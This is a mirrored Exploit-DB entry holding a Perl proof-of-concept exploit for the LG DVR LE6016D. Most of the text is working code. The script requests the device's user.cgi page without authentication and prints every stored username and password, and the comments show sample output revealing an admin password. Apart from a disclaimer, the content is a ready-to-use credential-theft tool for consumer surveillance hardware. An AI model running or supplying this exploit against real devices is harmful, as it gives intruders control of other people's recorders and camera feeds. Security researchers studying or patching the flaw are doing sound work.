LG DVR LE6016D – Remote Users/Passwords Disclosure

• Exploit Database
• 16 阅读

• 作者： Todor Donev
  日期： 2015-02-07
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/36014/

• #!/usr/bin/perl
  #
  #LG DVR LE6016D unauthenticated remote 
  # users/passwords disclosure exploit
  #
  #
  #Copyright 2015 (c) Todor Donev
  #<todor.donev at gmail.com>
  #http://www.ethical-hacker.org/
  #### 
  #
  #Digital video recorder (DVR) surveillance is the use of cameras, 
  #often hidden or concealed, that use DVR technology to record 
  #video for playback or immediate viewing. As technological 
  #innovations have made improvements in the security and 
  #surveillance industry, DVR surveillance has become more 
  #prominent and allows for easier and more versatile security 
  #systems in homes and businesses. A DVR surveillance security 
  #system can be designed for indoor use or outdoor use and can 
  #often involve hidden security cameras, concealed “nanny cams” 
  #for home security, and even personal recording devices hidden 
  #on a person.
  #
  ####
  #
  #Description:
  #No authentication (login) is required to exploit this vulnerability. 
  #This program demonstrates how unpatched security bug would enable 
  #hackers to gain control of a vulnerable device while sitting 
  #behind their keyboard, potentially thousands of miles away.
  #An unauthenticated attacker that is connected to the DVR's may be 
  #able to retrieve the device's administrator password allowing them 
  #to directly access the device's configuration control panel.
  #
  ####
  #
  #Disclaimer:
  #This or previous programs is for Educational purpose ONLY. Do not 
  #use it without permission.The usual disclaimer applies, especially 
  #the fact that Todor Donev is not liable for any damages caused by 
  #direct or indirect use of the information or functionality provided 
  #by these programs. The author or any Internet provider bears NO 
  #responsibility for content or misuse of these programs or any 
  #derivatives thereof. By using these programs you accept the fact
  #that any damage (dataloss, system crash, system compromise, etc.) 
  #caused by the use of these programs is not Todor Donev's 
  #responsibility.
  #
  ####
  #Use them at your own risk!
  #### 
  #
  # $ perl lg.pl 133.7.133.7:80
  #LG DVR LE6016D unauthenticated remote
  #users/passwords disclosure exploit
  #u/p: admin/000000
  #u/p: user1/000000
  #u/p: user2/000000
  #u/p: user3/000000
  #u/p: LOGOUT/000000
  # Copyright 2015 (c) Todor Donev
  # <todor.donev at gmail.com>
  # http://www.ethical-hacker.org/
  #
  ####
   
  use LWP::Simple;
  print " LG DVR LE6016D unauthenticated remote\n users/passwords disclosure exploit\n";
  if (@ARGV == 0) {&usg; &foot;}
  while (@ARGV > 0) {
  $t = shift(@ARGV);
  }
  my $r = get("http://$t/dvr/wwwroot/user.cgi") or die("Error $!");
  for (my $i=0; $i <= 4; $i++){
  if($r =~ m/<name>(.*)<\/name>/g){
  print " u\/p: $1\/";
  }
  if($r =~ m/<pw>(.*)<\/pw>/g){
  print "$1\n";
  }
  }
  &foot;
  sub usg(){
  print "\n Usage: perl $0 <target:port>\n Example: perl $0 133.7.133.7:80\n\n";
  }
  sub foot(){
  print "Copyright 2015 (c) Todor Donev\n<todor.donev at gmail.com>\n";
  print "http://www.ethical-hacker.org/\n";
  exit;
  }